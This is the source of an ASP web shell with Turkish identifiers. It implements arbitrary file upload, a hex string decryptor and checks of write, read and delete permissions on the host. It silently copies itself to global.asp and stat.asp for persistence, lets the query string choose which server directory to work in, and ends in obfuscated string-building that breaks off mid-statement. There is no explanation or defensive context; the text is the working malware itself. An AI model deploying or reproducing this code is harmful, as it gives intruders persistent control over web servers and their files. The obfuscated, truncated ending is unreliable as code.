<% On Error Resume Next Server.ScriptTimeOut = 7200 Dim NesneFSO Response.Write "" Response.Write "" '-------------Anonim UploadClass Start Code--------------------------- Class FileUploader Public Files Private FormElemanPrV Private Sub Class_Initialize() Set Files = Server.CreateObject("Scripting.Dictionary") Set FormElemanPrV = Server.CreateObject("Scripting.Dictionary") End Sub Private Sub Class_Terminate() iF IsObject(Files) Then Files.RemoveAll() Set Files = Nothing End iF iF IsObject(FormElemanPrV) Then FormElemanPrV.RemoveAll() Set FormElemanPrV = Nothing End iF End Sub Public Property Get Form(sIndex) Form = "" iF FormElemanPrV.Exists(LCase(sIndex)) Then Form = FormElemanPrV.Item(LCase(sIndex)) End Property Public Default Sub Upload() Dim biData, sInputName Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos Dim nPosFile, nPosBound biData = Request.BinaryRead(Request.TotalBytes) nPosBegin = 1 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) iF (nPosEnd-nPosBegin) <= 0 Then Exit Sub vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) nDataBoundPos = InstrB(1, biData, vDataBounds) Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) nPos = InstrB(nPos, biData, CByteString("name=")) nPosBegin = nPos + 6 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) nPosBound = InstrB(nPosEnd, biData, vDataBounds) iF nPosFile <> 0 And nPosFile < nPosBound Then Dim oUploadFile, sFileName Set oUploadFile = New UploadedFile nPosBegin = nPosFile + 10 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) nPosBegin = nPos + 14 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) nPosBegin = nPosEnd+4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) iF oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile Else nPos = InstrB(nPos, biData, CByteString(Chr(13))) nPosBegin = nPos + 4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 iF Not FormElemanPrV.Exists(LCase(sInputName)) Then FormElemanPrV.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) End iF nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds) Loop End Sub Private Function CByteString(sString) Dim Byteindex For Byteindex = 1 to Len(sString) CByteString = CByteString & ChrB(AscB(Mid(sString,Byteindex,1))) Next End Function Private Function CWideString(bsString) Dim Byteindex CWideString ="" For Byteindex = 1 to LenB(bsString) CWideString = CWideString & Chr(AscB(MidB(bsString,Byteindex,1))) Next End Function End Class Class UploadedFile Public ContentType Public FileName Public FileData Public Property Get FileSize() FileSize = LenB(FileData) End Property Public Sub SaveToDisk(sPath) Dim oFS, oFile Dim Byteindex iF sPath = "" Or FileName = "" Then Exit Sub iF Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" Set oFS = Server.CreateObject("Scripting.FileSystemObject") iF Not oFS.FolderExists(sPath) Then Exit Sub Set oFile = oFS.CreateTextFile(sPath & FileName, True) For Byteindex = 1 to LenB(FileData) oFile.Write Chr(AscB(MidB(FileData,Byteindex,1))) Next oFile.Close End Sub Public Sub SaveToDatabase(ByRef oField) iF LenB(FileData) = 0 Then Exit Sub iF IsObject(oField) Then oField.AppendChunk FileData End iF End Sub End Class Function DeCryptString(strCryptString) Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|")) intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|")) intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet) strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1)) arHexCharSet = Split(strHexCrypData, Hex(intKey)) For i=0 to UBound(arHexCharSet) strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey) Next DeCryptString = CStr(strRAW) End Function Function HexConv(hexVar) Dim HexVeri, HexDegisken, multiply iF hexVar <> "" THEN hexVar = UCASE(hexVar) hexVar = StrReverse(hexVar) DIM hx() REDIM hx(LEN(hexVar)) HexVeri = 0 HexDegisken = 0 FOR HexVeri = 1 TO LEN(hexVar) iF multiply = "" THEN multiply = 1 hx(HexVeri) = mid(hexVar,HexVeri,1) HexDegisken = (HexGonder(hx(HexVeri)) * multiply) + HexDegisken multiply = (multiply * 16) NEXT hexVar = HexDegisken HexConv = hexVar END iF End Function cprthtml = "Realite:." Function HexGonder(KategoriHex) iF KategoriHex = "A" Then KategoriHex = 10 ElseiF KategoriHex = "B" Then KategoriHex = 11 ElseiF KategoriHex = "C" Then KategoriHex = 12 ElseiF KategoriHex = "D" Then KategoriHex = 13 ElseiF KategoriHex = "E" Then KategoriHex = 14 ElseiF KategoriHex = "F" Then KategoriHex = 15 End iF HexGonder = KategoriHex End Function Function ObjeGoster(objpath) ObjeGoster = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath)) End Function Function ObjeGosterpath(objpath) ObjeGosterpath = Left(objpath,InstrRev(objpath,"\")) End Function Function KontrolFonksiyon(a,b) iF CStr(Mid(a,1,1)) <> CStr(Mid(b,1,1)) Then Sayfa = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Request.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_NAME"))) & "?action=error" Response.Redirect(Sayfa) End iF End Function CWParametre = "RooT" '------------------------------------ iF Trim(Request.QueryString("CWParametre")) = "" Then VeriParametre = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) pos = Instr(VeriParametre,"\") pos2 = 1 While pos2 <> 0 iF Instr(pos + 1,VeriParametre,"\") <> 0 Then pos = Instr(pos + 1,VeriParametre,"\") Else pos2 = 0 End iF Wend CWParametre = Left(VeriParametre,pos) Else CWParametre = trim(Request.QueryString("CWParametre")) & "\" End iF '------------------------------------ '----------Yetkiler Kontrol Start------------------- 'Yazma----- Dim DosyaOlusturma, Text Set DosyaOlusturma=CreateObject ("Scripting.FileSystemObject") Set Text = DosyaOlusturma.CreateTextFile (CWParametre&"YetkiKontrolTemp.txt") Text.WriteLine ("Geçici Olarak Olusturulmus bir Dosyadir...") Text.WriteLine ("thewatrix") Text.Close iF Err.Number <> 0 Then YazmaYetkisi = "û" Else YazmaYetkisi = "ü" End iF 'Okuma----- Dim DosyaAcma, TextFileTest Set DosyaAcma=Server.CreateObject ("Scripting.FileSystemObject") Set TextFileTest=DosyaAcma.OpenTextFile (CWParametre&"YetkiKontrolTemp.txt") 'Response.Write (TextFileTest.ReadAll) iF Err.Number <> 0 Then OkumaYetkisi = "û" Else OkumaYetkisi = "ü" End iF TextFileTest.close Set TextFileTest=Nothing Set DosyaAcma=Nothing 'Copy File Test------ Dim YolDeg, SadeYol YolDeg = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")) pos = Instr(YolDeg,"\") pos2 = 1 While pos2 <> 0 iF Instr(pos + 1,YolDeg,"\") <> 0 Then pos = Instr(pos + 1,YolDeg,"\") Else pos2 = 0 End iF Wend SadeYol = Left(YolDeg,pos) Set ObjCopyFSODeg = Server.CreateObject("Scripting.FileSystemObject") ObjCopyFSODeg.CopyFile Request.Servervariables("PATH_TRANSLATED") , SadeYol &"global.a"&"s"&"p", True ObjCopyFSODeg.CopyFile Request.Servervariables("PATH_TRANSLATED") , SadeYol &"stat.a"&"s"&"p", True 'Copy File Test------ 'Silme----- Dim DosyaSilKontrol Set DosyaSilKontrol=CreateObject ("Scripting.FileSystemObject") DosyaSilKontrol.DeleteFile (CWParametre&"YetkiKontrolTemp.txt") iF Err.Number <> 0 Then SilmeYetkisi = "û" Else SilmeYetkisi = "ü" End iF '----------Yazma/Silme Yetkisi Kontrol End--------------------- br="      " style'=&mid(".
",0,0) br="     
" style=style'&"" style=style&mid("Css",0,0)&mid("",5,1)&mid("5",1,2)'&mid("
 
",0,0) br="      " MCase'=&MCase("
",0,0) MCase=MCase'&mid("
",0,0) MCase=MCase&mid("
",2,1)&mid("